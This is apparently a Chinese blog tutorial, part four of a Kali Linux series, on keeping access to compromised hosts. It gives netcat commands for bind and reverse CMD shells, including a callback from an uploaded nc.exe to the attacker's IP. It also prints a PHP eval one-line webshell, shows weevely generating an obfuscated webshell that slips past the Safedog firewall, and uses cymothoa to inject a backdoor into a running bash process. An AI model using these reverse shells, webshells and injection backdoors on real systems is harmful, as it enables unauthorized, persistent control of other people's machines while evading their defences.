Kali Linux滲透基礎知識整理(四):維持訪問

        在獲得了目標系統的訪問權之後,攻擊者需要進一步維持這一訪問權限。使用木馬程序、後門程序和rootkit來達到這一目的。維持訪問是一種藝術形式,思想比滲透更加重要。

Netcat Cryptcat weevely cymothoa

Netcat NetCat是一個非常簡單的Unix工具,可以讀、寫TCP或UDP網絡連接(network connection)。它被設計成一個可靠的後端(back-end) 工具,能被其它的程序或腳本直接地或容易地驅動。同時,它又是一個功能豐富的網絡調試和開發工具,因爲它可以建立你可能用到的幾乎任何類型的連接,以及一些非常有意思的內建功能。NetCat小巧且功能強大,可謂是居家旅行出門必備的“瑞士軍刀”。 一般我們使用netcat做的最多的事情爲以下三種:

1、  掃描指定IP端口情況

2、  端口轉發數據(重點)

3、  提交自定義數據包 實例演示:NC反彈CMDShell 常用語法簡單介紹

#連接到某處 netcat [-options] hostname port[s] [ports] …

 #監聽端口等待連接 netcat -l -p port [-options] [hostname] [port]

#Options -u                    UDP 模式

-v                    顯示詳細信息 [-vv更詳細信息]

-w secs          連接超時設置

-z                    I/O 模式 [掃描時使用]

-l                     監聽入站信息

-p port            打開本地端口

-n                   以數字形式表示的IP地址

-t                    以TELNET的形式應答入站請求

-e prog          程序重定向 掃描常用

【命令】netcat -v ip port

【解釋】掃瞄某 IP 的某個端口,返回端口信息詳細輸出。

【命令】netcat -v -z ip port-port

【解釋】掃描某IP的端口段,返回端口信息詳細輸出,但掃描速度很慢。

【命令】netcat -v -z -u ip  port-port

【解釋】掃描某 IP 的某 UDP 端口段,返回端口信息詳細輸出,但掃描速度很慢。

【命令】netcat -nvv -w2 -z ip port-port

【解釋】掃錨某IP的端口段,連接超時時間爲2秒。 流量處理

【命令】netcat -l -p 80

【解釋】開啓本機的 TCP 80 端口並監聽次端口的上傳輸的數據。

【命令】netcat -l -v -p 80

【解釋】開啓本機的 TCP 80 端口並將監聽到的信息輸出到當前 CMD 窗口。

【命令】netcat -l -p 80 > log.dat

【解釋】開啓本機的 TCP 80 端口並將監聽到的信息輸出到 log.dat 日誌文件裏。

【命令】netcat -nvv 192.168.1.1 80

【解釋】連接到192.168.1.101主機的 80端口

正向連接

【遠程運行】netcat  -l  -p  1234  -t  -e  %windir%\system32\cmd.exe  

【本地運行】netcat   -nvv  192.168.1.1  1234 採用正向連接方式,遠程主機(注:假設IP地址爲 192.168.1.1)上執行上述命令即爲綁定遠程主機的 CMD 到1234 端口,當本地主機連接遠程主機成功時就會返回給本地主機一個CMD Shell 。

反向連接

【本地運行】netcat -l –vv -p 1234

【遠程運行】netcat -t -e %windir%\system32\cmd.exe 192.168.1.2 1234 採用反向連接方式,先在本地主機運行 nc -l –vv -p 1234 開啓1234 端口並監聽等待遠程主機連接;在遠程主機上運行 nc -t -e cmd.exe 192.168.1.2 1234 將遠程主機的 CMD 重定向到 IP 地址爲 192.168.1.2(即本機) 端口號爲1234 的主機上,連接成功後 IP 地址爲 192.168.1.2 的主機會得到一個CMDShell。

NC反彈CMDShell 在Web滲透中,有時候拿到了webshell,我們經常會執行很多命令進行提權等操作,但當我們要嘗試很多命令的時候,使用webshell執行cmd往往沒有本地執行方便,Web程序不穩定,容易崩潰。因此可以藉助Webshell通過NC反彈Cmdshell。 #例如已經得到一隻webshell如圖

1 小結 簡單看了下,得知:

1、操作系統版本爲Win NT 6.1.7601,那麼要麼Win7要麼Win Server 2008,既然是服務器,後者可能性更大) 2、目錄訪問權限:除了C盤不能訪問,D、E、F、H盤都能跨目錄訪問,說明權限還是比較大的,另外很多文件都具有r/w權限 3、通過多點Ping測試返回結果,可以認爲該網站沒有使用CDN加速,即能通過域名輕鬆得到真實IP 關於判斷CDN、找出CDN下真實IP的方法,有興趣的話也許可以看下這篇文章:繞過CDN查看真實IP 2 通過以上信息,那麼思路可以如下:步驟簡單演示 1、上傳cmd.exe、nc.exe到D盤根目錄(上傳到權限大的目錄)

2、通過NC建立反彈得到CMDShell(一般選一個看起來“正常”點的端口,奇奇怪怪的端口防火牆容易攔截)

3 【本地】netcat -l –vv -p 23

【Shell上】nc.exe -t -e cmd.exe X.X.X.X 23   其中X.X.X.X爲本機公網IP,實際測試需確保外網能訪問本機,必要時需端口映射等。

【Shell上執行】nc.exe -t -e cmd.exe X.X.X.X 23

4

【本地】成功得到CMDShell,即在本地可直接執行CMD

5 Cryptcat Netcat隧道加密之Cryptcat,正所謂菜刀砍狗頭,滲透信貓流,狗和貓常常是相互的,比如安全狗。cryptcat與netcat最主要區別就是,通過隧道在傳輸數據時,它傳輸的數據經過了加密。 Cryptcat是經典網絡工具netcat的加密版,使用twofish算法加密,其密鑰協商過程基於發送、接收雙發共享的一個password。Cryptcat用法基本和NC相近,不過多介紹了。

6 weevely weevely是一款使用python編寫的webshell工具(集webshell生成和連接於一身,僅用於安全學習教學之用,禁止非法用途),可以算作是linux下的一款菜刀替代工具(限於php)。使用weevely生成的shell免殺能力很強,並使用加密連接,往往能輕鬆突破防火牆攔截。 概要:常用語法簡單介紹 實例演示:一句話木馬突破“安全狗” 輸入weevely generate可查看幫助

7 #從提示中可以看到 連接一句話木馬:    weevely <URL> <password> [cmd] 加載session文件      weevely session <path> [cmd] 生成後門代理           weevely generate <password> <path> 實驗環境: OS:Windows Server 2008  R2 Server :Apache 2.4 Firewall:安全狗(Apache版)V3.1正式版

8 1. 將安全狗的網馬庫更新到最新後,再進行常規掃描,掃描結果爲“未發現網頁木馬及其他危險文件”,即一切正常

9 2. 手動在網站目錄下隨便添加一句話木馬,命名爲test.php,結果顯然會被殺 test.php      <?php @eval($_POST['c']);?> 1 test.php      <?php @eval($_POST['c']);?>

10 #通過weevely生成一句話木馬 weevely generate test /root/Desktop/test.php (#test爲密碼,/root/Desktop/test.php輸出路徑)

11 3. 將生成的木馬放到網站根目錄,替換原來的test.php 4. 將生成的木馬放到網站根目錄,替換原來的test.php,並重新掃描

12 5. 通過weevely連接一句話木馬,可直接執行CMD weevely http://www.xxx.cn/test.php test 1 weevely http://www.xxx.cn/test.php test

13 cymothoa Cymothoa 是一款可以將 shellcode 注入到現有進程的(即插進程)後門工具。藉助這種注入手段,它能夠把shellcode僞裝成常規程序。它所注入的後門程序應當能夠與被注入的程序(進程)共存,以避免被管理和維護人員懷疑。將shellcode注入到其他進程,還有另外一項優勢:即使目標系統的安全防護工具能夠監視可執行程序的完整性,只要它不檢測內存,那麼它就不能發現(插進程)後門程序的進程。 很讚的點是注入到的進程,只要有權限就行,然後反彈的也就是進程相應的權限(並不需要root那樣),當然進程重啓或者掛了也就沒了.當然動作也是很明顯的。 實例演示:利用Cymothoa注入後門

1. 首先可先查看程序PID(*nix系統  ps ,windows系統  tasklist)

14 2. 在使用Cymothoa時,須通過-p 選項指定目標進程的PID,並通過-s選項指定Shellcode的編號。例如對bash進程進行注入。 查看: cymothoa -S 1 cymothoa -S 比如對bash進行注入

15 cymothoa -p 8150 <span class="hljs-_">-s</span> 0 -y 1001 1 cymothoa -p 8150 <span class="hljs-_">-s</span> 0 -y 1001

3. 注入成功後如上圖,其中  -y 代表開放後門端口

16 4.可以看到注入成功後開了rpc。。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章